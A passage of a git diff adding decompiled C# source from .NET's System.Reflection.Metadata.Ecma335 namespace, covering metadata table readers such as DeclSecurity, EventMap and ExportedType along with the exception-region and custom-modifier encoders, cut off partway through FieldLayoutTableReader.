b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeValueTreatment.cs new file mode 100644 index 0000000..eb9f17d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeValueTreatment.cs @@ -0,0 +1,11 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +internal enum CustomAttributeValueTreatment : byte +{ + None = 0, + AttributeUsageAllowSingle = 1, + AttributeUsageAllowMultiple = 2, + AttributeUsageVersionAttribute = 3, + AttributeUsageDeprecatedAttribute = 4 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomDebugInformationTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomDebugInformationTableReader.cs new file mode 100644 index 0000000..bcc8e6d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomDebugInformationTableReader.cs @@ -0,0 +1,73 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct CustomDebugInformationTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isHasCustomDebugInformationRefSizeSmall; + + private readonly bool _isGuidHeapRefSizeSmall; + + private readonly bool _isBlobHeapRefSizeSmall; + + private const int ParentOffset = 0; + + private readonly int _kindOffset; + + private readonly int _valueOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal CustomDebugInformationTableReader(int numberOfRows, bool declaredSorted, int hasCustomDebugInformationRefSize, int guidHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isHasCustomDebugInformationRefSizeSmall = hasCustomDebugInformationRefSize == 2; + _isGuidHeapRefSizeSmall = guidHeapRefSize == 2; + _isBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _kindOffset = hasCustomDebugInformationRefSize; + _valueOffset = _kindOffset + guidHeapRefSize; + RowSize = _valueOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (numberOfRows > 0 && !declaredSorted) + { + Throw.TableNotSorted(TableIndex.CustomDebugInformation); + } + } + + internal EntityHandle GetParent(CustomDebugInformationHandle handle) + { + int offset = (handle.RowId - 1) * RowSize; + return HasCustomDebugInformationTag.ConvertToHandle(Block.PeekTaggedReference(offset, _isHasCustomDebugInformationRefSizeSmall)); + } + + internal GuidHandle GetKind(CustomDebugInformationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return GuidHandle.FromIndex(Block.PeekHeapReference(num + _kindOffset, _isGuidHeapRefSizeSmall)); + } + + internal BlobHandle GetValue(CustomDebugInformationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _valueOffset, _isBlobHeapRefSizeSmall)); + } + + internal void GetRange(EntityHandle parentHandle, out int firstImplRowId, out int lastImplRowId) + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, 0, HasCustomDebugInformationTag.ConvertToTag(parentHandle), _isHasCustomDebugInformationRefSizeSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + firstImplRowId = 1; + lastImplRowId = 0; + } + else + { + firstImplRowId = startRowNumber + 1; + lastImplRowId = endRowNumber + 1; + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomModifiersEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomModifiersEncoder.cs new file mode 100644 index 0000000..372e470 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomModifiersEncoder.cs @@ -0,0 +1,29 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct CustomModifiersEncoder +{ + public BlobBuilder Builder { get; } + + public CustomModifiersEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public CustomModifiersEncoder AddModifier(EntityHandle type, bool isOptional) + { + if (type.IsNil) + { + Throw.InvalidArgument_Handle("type"); + } + if (isOptional) + { + Builder.WriteByte(32); + } + else + { + Builder.WriteByte(31); + } + Builder.WriteCompressedInteger(CodedIndex.TypeDefOrRefOrSpec(type)); + return this; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/DeclSecurityTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/DeclSecurityTableReader.cs new file mode 100644 index 0000000..92cc63f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/DeclSecurityTableReader.cs @@ -0,0 +1,76 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct DeclSecurityTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsHasDeclSecurityRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _ActionOffset; + + private readonly int _ParentOffset; + + private readonly int _PermissionSetOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal DeclSecurityTableReader(int numberOfRows, bool declaredSorted, int hasDeclSecurityRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsHasDeclSecurityRefSizeSmall = hasDeclSecurityRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _ActionOffset = 0; + _ParentOffset = _ActionOffset + 2; + _PermissionSetOffset = _ParentOffset + hasDeclSecurityRefSize; + RowSize = _PermissionSetOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.DeclSecurity); + } + } + + internal DeclarativeSecurityAction GetAction(int rowId) + { + int num = (rowId - 1) * RowSize; + return (DeclarativeSecurityAction)Block.PeekUInt16(num + _ActionOffset); + } + + internal EntityHandle GetParent(int rowId) + { + int num = (rowId - 1) * RowSize; + return HasDeclSecurityTag.ConvertToHandle(Block.PeekTaggedReference(num + _ParentOffset, _IsHasDeclSecurityRefSizeSmall)); + } + + internal BlobHandle GetPermissionSet(int rowId) + { + int num = (rowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _PermissionSetOffset, _IsBlobHeapRefSizeSmall)); + } + + internal void GetAttributeRange(EntityHandle parentToken, out int firstImplRowId, out int lastImplRowId) + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, _ParentOffset, HasDeclSecurityTag.ConvertToTag(parentToken), _IsHasDeclSecurityRefSizeSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + firstImplRowId = 1; + lastImplRowId = 0; + } + else + { + firstImplRowId = startRowNumber + 1; + lastImplRowId = endRowNumber + 1; + } + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _ParentOffset, _IsHasDeclSecurityRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/DocumentTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/DocumentTableReader.cs new file mode 100644 index 0000000..31de7bb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/DocumentTableReader.cs @@ -0,0 +1,60 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct DocumentTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isGuidHeapRefSizeSmall; + + private readonly bool _isBlobHeapRefSizeSmall; + + private const int NameOffset = 0; + + private readonly int _hashAlgorithmOffset; + + private readonly int _hashOffset; + + private readonly int _languageOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal DocumentTableReader(int numberOfRows, int guidHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isGuidHeapRefSizeSmall = guidHeapRefSize == 2; + _isBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _hashAlgorithmOffset = blobHeapRefSize; + _hashOffset = _hashAlgorithmOffset + guidHeapRefSize; + _languageOffset = _hashOffset + blobHeapRefSize; + RowSize = _languageOffset + guidHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal DocumentNameBlobHandle GetName(DocumentHandle handle) + { + int offset = (handle.RowId - 1) * RowSize; + return DocumentNameBlobHandle.FromOffset(Block.PeekHeapReference(offset, _isBlobHeapRefSizeSmall)); + } + + internal GuidHandle GetHashAlgorithm(DocumentHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return GuidHandle.FromIndex(Block.PeekHeapReference(num + _hashAlgorithmOffset, _isGuidHeapRefSizeSmall)); + } + + internal BlobHandle GetHash(DocumentHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _hashOffset, _isBlobHeapRefSizeSmall)); + } + + internal GuidHandle GetLanguage(DocumentHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return GuidHandle.FromIndex(Block.PeekHeapReference(num + _languageOffset, _isGuidHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EditAndContinueLogEntry.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EditAndContinueLogEntry.cs new file mode 100644 index 0000000..85e0e6a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EditAndContinueLogEntry.cs @@ -0,0 +1,39 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct EditAndContinueLogEntry : IEquatable +{ + public EntityHandle Handle { get; } + + public EditAndContinueOperation Operation { get; } + + public EditAndContinueLogEntry(EntityHandle handle, EditAndContinueOperation operation) + { + Handle = handle; + Operation = operation; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is EditAndContinueLogEntry other) + { + return Equals(other); + } + return false; + } + + public bool Equals(EditAndContinueLogEntry other) + { + if (Operation == other.Operation) + { + return Handle == other.Handle; + } + return false; + } + + public override int GetHashCode() + { + return (int)Operation ^ Handle.GetHashCode(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EditAndContinueOperation.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EditAndContinueOperation.cs new file mode 100644 index 0000000..20bfea2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EditAndContinueOperation.cs @@ -0,0 +1,11 @@ +namespace System.Reflection.Metadata.Ecma335; + +public enum EditAndContinueOperation +{ + Default, + AddMethod, + AddField, + AddParameter, + AddProperty, + AddEvent +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EnCLogTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EnCLogTableReader.cs new file mode 100644 index 0000000..6627b75 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EnCLogTableReader.cs @@ -0,0 +1,37 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct EnCLogTableReader +{ + internal readonly int NumberOfRows; + + private readonly int _TokenOffset; + + private readonly int _FuncCodeOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal EnCLogTableReader(int numberOfRows, MemoryBlock containingBlock, int containingBlockOffset, MetadataStreamKind metadataStreamKind) + { + NumberOfRows = ((metadataStreamKind != MetadataStreamKind.Compressed) ? numberOfRows : 0); + _TokenOffset = 0; + _FuncCodeOffset = _TokenOffset + 4; + RowSize = _FuncCodeOffset + 4; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal uint GetToken(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekUInt32(num + _TokenOffset); + } + + internal EditAndContinueOperation GetFuncCode(int rowId) + { + int num = (rowId - 1) * RowSize; + return (EditAndContinueOperation)Block.PeekUInt32(num + _FuncCodeOffset); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EnCMapTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EnCMapTableReader.cs new file mode 100644 index 0000000..08797be --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EnCMapTableReader.cs @@ -0,0 +1,28 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct EnCMapTableReader +{ + internal readonly int NumberOfRows; + + private readonly int _TokenOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal EnCMapTableReader(int numberOfRows, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _TokenOffset = 0; + RowSize = _TokenOffset + 4; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal uint GetToken(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekUInt32(num + _TokenOffset); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventMapTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventMapTableReader.cs new file mode 100644 index 0000000..c5d30ae --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventMapTableReader.cs @@ -0,0 +1,49 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct EventMapTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsTypeDefTableRowRefSizeSmall; + + private readonly bool _IsEventRefSizeSmall; + + private readonly int _ParentOffset; + + private readonly int _EventListOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal EventMapTableReader(int numberOfRows, int typeDefTableRowRefSize, int eventRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeDefTableRowRefSizeSmall = typeDefTableRowRefSize == 2; + _IsEventRefSizeSmall = eventRefSize == 2; + _ParentOffset = 0; + _EventListOffset = _ParentOffset + typeDefTableRowRefSize; + RowSize = _EventListOffset + eventRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal int FindEventMapRowIdFor(TypeDefinitionHandle typeDef) + { + int num = Block.LinearSearchReference(RowSize, _ParentOffset, (uint)typeDef.RowId, _IsTypeDefTableRowRefSizeSmall); + return num + 1; + } + + internal TypeDefinitionHandle GetParentType(int rowId) + { + int num = (rowId - 1) * RowSize; + return TypeDefinitionHandle.FromRowId(Block.PeekReference(num + _ParentOffset, _IsTypeDefTableRowRefSizeSmall)); + } + + internal int GetEventListStartFor(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _EventListOffset, _IsEventRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventPtrTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventPtrTableReader.cs new file mode 100644 index 0000000..fecbdcb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventPtrTableReader.cs @@ -0,0 +1,31 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct EventPtrTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsEventTableRowRefSizeSmall; + + private readonly int _EventOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal EventPtrTableReader(int numberOfRows, int eventTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsEventTableRowRefSizeSmall = eventTableRowRefSize == 2; + _EventOffset = 0; + RowSize = _EventOffset + eventTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal EventDefinitionHandle GetEventFor(int rowId) + { + int num = (rowId - 1) * RowSize; + return EventDefinitionHandle.FromRowId(Block.PeekReference(num + _EventOffset, _IsEventTableRowRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventTableReader.cs new file mode 100644 index 0000000..332e0fb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/EventTableReader.cs @@ -0,0 +1,52 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal struct EventTableReader +{ + internal int NumberOfRows; + + private readonly bool _IsTypeDefOrRefRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _NameOffset; + + private readonly int _EventTypeOffset; + + internal readonly int RowSize; + + internal MemoryBlock Block; + + internal EventTableReader(int numberOfRows, int typeDefOrRefRefSize, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeDefOrRefRefSizeSmall = typeDefOrRefRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _FlagsOffset = 0; + _NameOffset = _FlagsOffset + 2; + _EventTypeOffset = _NameOffset + stringHeapRefSize; + RowSize = _EventTypeOffset + typeDefOrRefRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal EventAttributes GetFlags(EventDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (EventAttributes)Block.PeekUInt16(num + _FlagsOffset); + } + + internal StringHandle GetName(EventDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal EntityHandle GetEventType(EventDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return TypeDefOrRefTag.ConvertToHandle(Block.PeekTaggedReference(num + _EventTypeOffset, _IsTypeDefOrRefRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExceptionRegionEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExceptionRegionEncoder.cs new file mode 100644 index 0000000..f1b2876 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExceptionRegionEncoder.cs @@ -0,0 +1,201 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct ExceptionRegionEncoder +{ + private const int TableHeaderSize = 4; + + private const int SmallRegionSize = 12; + + private const int FatRegionSize = 24; + + private const int ThreeBytesMaxValue = 16777215; + + internal const int MaxSmallExceptionRegions = 20; + + internal const int MaxExceptionRegions = 699050; + + public BlobBuilder Builder { get; } + + public bool HasSmallFormat { get; } + + internal ExceptionRegionEncoder(BlobBuilder builder, bool hasSmallFormat) + { + Builder = builder; + HasSmallFormat = hasSmallFormat; + } + + public static bool IsSmallRegionCount(int exceptionRegionCount) + { + return (uint)exceptionRegionCount <= 20u; + } + + public static bool IsSmallExceptionRegion(int startOffset, int length) + { + if ((uint)startOffset <= 65535u) + { + return (uint)length <= 255u; + } + return false; + } + + internal static bool IsSmallExceptionRegionFromBounds(int startOffset, int endOffset) + { + return IsSmallExceptionRegion(startOffset, endOffset - startOffset); + } + + internal static int GetExceptionTableSize(int exceptionRegionCount, bool isSmallFormat) + { + return 4 + exceptionRegionCount * (isSmallFormat ? 12 : 24); + } + + internal static bool IsExceptionRegionCountInBounds(int exceptionRegionCount) + { + return (uint)exceptionRegionCount <= 699050u; + } + + internal static bool IsValidCatchTypeHandle(EntityHandle catchType) + { + if (!catchType.IsNil) + { + if (catchType.Kind != HandleKind.TypeDefinition && catchType.Kind != HandleKind.TypeSpecification) + { + return catchType.Kind == HandleKind.TypeReference; + } + return true; + } + return false; + } + + internal static ExceptionRegionEncoder SerializeTableHeader(BlobBuilder builder, int exceptionRegionCount, bool hasSmallRegions) + { + bool flag = hasSmallRegions && IsSmallRegionCount(exceptionRegionCount); + int exceptionTableSize = GetExceptionTableSize(exceptionRegionCount, flag); + builder.Align(4); + if (flag) + { + builder.WriteByte(1); + builder.WriteByte((byte)exceptionTableSize); + builder.WriteInt16(0); + } + else + { + builder.WriteByte(65); + builder.WriteByte((byte)exceptionTableSize); + builder.WriteUInt16((ushort)(exceptionTableSize >> 8)); + } + return new ExceptionRegionEncoder(builder, flag); + } + + public ExceptionRegionEncoder AddFinally(int tryOffset, int tryLength, int handlerOffset, int handlerLength) + { + return Add(ExceptionRegionKind.Finally, tryOffset, tryLength, handlerOffset, handlerLength); + } + + public ExceptionRegionEncoder AddFault(int tryOffset, int tryLength, int handlerOffset, int handlerLength) + { + return Add(ExceptionRegionKind.Fault, tryOffset, tryLength, handlerOffset, handlerLength); + } + + public ExceptionRegionEncoder AddCatch(int tryOffset, int tryLength, int handlerOffset, int handlerLength, EntityHandle catchType) + { + return Add(ExceptionRegionKind.Catch, tryOffset, tryLength, handlerOffset, handlerLength, catchType); + } + + public ExceptionRegionEncoder AddFilter(int tryOffset, int tryLength, int handlerOffset, int handlerLength, int filterOffset) + { + return Add(ExceptionRegionKind.Filter, tryOffset, tryLength, handlerOffset, handlerLength, default(EntityHandle), filterOffset); + } + + public ExceptionRegionEncoder Add(ExceptionRegionKind kind, int tryOffset, int tryLength, int handlerOffset, int handlerLength, EntityHandle catchType = default(EntityHandle), int filterOffset = 0) + { + if (Builder == null) + { + Throw.InvalidOperation(System.SR.MethodHasNoExceptionRegions); + } + if (HasSmallFormat) + { + if ((ushort)tryOffset != tryOffset) + { + Throw.ArgumentOutOfRange("tryOffset"); + } + if ((byte)tryLength != tryLength) + { + Throw.ArgumentOutOfRange("tryLength"); + } + if ((ushort)handlerOffset != handlerOffset) + { + Throw.ArgumentOutOfRange("handlerOffset"); + } + if ((byte)handlerLength != handlerLength) + { + Throw.ArgumentOutOfRange("handlerLength"); + } + } + else + { + if (tryOffset < 0) + { + Throw.ArgumentOutOfRange("tryOffset"); + } + if (tryLength < 0) + { + Throw.ArgumentOutOfRange("tryLength"); + } + if (handlerOffset < 0) + { + Throw.ArgumentOutOfRange("handlerOffset"); + } + if (handlerLength < 0) + { + Throw.ArgumentOutOfRange("handlerLength"); + } + } + int catchTokenOrOffset; + switch (kind) + { + case ExceptionRegionKind.Catch: + if (!IsValidCatchTypeHandle(catchType)) + { + Throw.InvalidArgument_Handle("catchType"); + } + catchTokenOrOffset = MetadataTokens.GetToken(catchType); + break; + case ExceptionRegionKind.Filter: + if (filterOffset < 0) + { + Throw.ArgumentOutOfRange("filterOffset"); + } + catchTokenOrOffset = filterOffset; + break; + case ExceptionRegionKind.Finally: + case ExceptionRegionKind.Fault: + catchTokenOrOffset = 0; + break; + default: + throw new ArgumentOutOfRangeException("kind"); + } + AddUnchecked(kind, tryOffset, tryLength, handlerOffset, handlerLength, catchTokenOrOffset); + return this; + } + + internal void AddUnchecked(ExceptionRegionKind kind, int tryOffset, int tryLength, int handlerOffset, int handlerLength, int catchTokenOrOffset) + { + if (HasSmallFormat) + { + Builder.WriteUInt16((ushort)kind); + Builder.WriteUInt16((ushort)tryOffset); + Builder.WriteByte((byte)tryLength); + Builder.WriteUInt16((ushort)handlerOffset); + Builder.WriteByte((byte)handlerLength); + } + else + { + Builder.WriteInt32((int)kind); + Builder.WriteInt32(tryOffset); + Builder.WriteInt32(tryLength); + Builder.WriteInt32(handlerOffset); + Builder.WriteInt32(handlerLength); + } + Builder.WriteInt32(catchTokenOrOffset); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExportedTypeExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExportedTypeExtensions.cs new file mode 100644 index 0000000..85290f3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExportedTypeExtensions.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata.Ecma335; + +public static class ExportedTypeExtensions +{ + public static int GetTypeDefinitionId(this ExportedType exportedType) + { + return exportedType.reader.ExportedTypeTable.GetTypeDefId(exportedType.rowId); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExportedTypeTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExportedTypeTableReader.cs new file mode 100644 index 0000000..b7b84d5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ExportedTypeTableReader.cs @@ -0,0 +1,82 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ExportedTypeTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsImplementationRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _TypeDefIdOffset; + + private readonly int _TypeNameOffset; + + private readonly int _TypeNamespaceOffset; + + private readonly int _ImplementationOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ExportedTypeTableReader(int numberOfRows, int implementationRefSize, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsImplementationRefSizeSmall = implementationRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _FlagsOffset = 0; + _TypeDefIdOffset = _FlagsOffset + 4; + _TypeNameOffset = _TypeDefIdOffset + 4; + _TypeNamespaceOffset = _TypeNameOffset + stringHeapRefSize; + _ImplementationOffset = _TypeNamespaceOffset + stringHeapRefSize; + RowSize = _ImplementationOffset + implementationRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal StringHandle GetTypeName(int rowId) + { + int num = (rowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _TypeNameOffset, _IsStringHeapRefSizeSmall)); + } + + internal StringHandle GetTypeNamespaceString(int rowId) + { + int num = (rowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _TypeNamespaceOffset, _IsStringHeapRefSizeSmall)); + } + + internal NamespaceDefinitionHandle GetTypeNamespace(int rowId) + { + int num = (rowId - 1) * RowSize; + return NamespaceDefinitionHandle.FromFullNameOffset(Block.PeekHeapReference(num + _TypeNamespaceOffset, _IsStringHeapRefSizeSmall)); + } + + internal EntityHandle GetImplementation(int rowId) + { + int num = (rowId - 1) * RowSize; + return ImplementationTag.ConvertToHandle(Block.PeekTaggedReference(num + _ImplementationOffset, _IsImplementationRefSizeSmall)); + } + + internal TypeAttributes GetFlags(int rowId) + { + int num = (rowId - 1) * RowSize; + return (TypeAttributes)Block.PeekUInt32(num + _FlagsOffset); + } + + internal int GetTypeDefId(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekInt32(num + _TypeDefIdOffset); + } + + internal int GetNamespace(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _TypeNamespaceOffset, _IsStringHeapRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldDefTreatment.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldDefTreatment.cs new file mode 100644 index 0000000..79e31ab --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldDefTreatment.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +internal enum FieldDefTreatment : byte +{ + None = 0, + EnumValue = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldLayoutTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldLayoutTableReader.cs new file mode 100644 index 0000000..bdc5435 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldLayoutTableReader.cs @@ -0,0 +1,55 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct FieldLayoutTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsFieldTableRowRefSizeSmall; + + private readonly int _OffsetOffset; + + private readonly int _FieldOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal FieldLayoutTableReader(int numberOfRows, bool declaredSorted, int fieldTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsFieldTableRowRefSizeSmall = fieldTableRowRefSize == 2; + _OffsetOffset = 0; + _FieldOffset = _OffsetOffset + 4; + RowSize = _FieldOffset + fieldTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.FieldLayout); + } + } + + internal int FindFieldLayoutRowId(FieldDefinitionHandle handle) + { + int num = Block.BinarySearchReference(NumberOfRows, RowSize, _FieldOffset, (uint)handle.RowId, _IsFieldTableRowRefSizeSmall); + return num + 1; + } + + internal uint GetOffset(int rowId) + { + int num = (rowId - 1) * 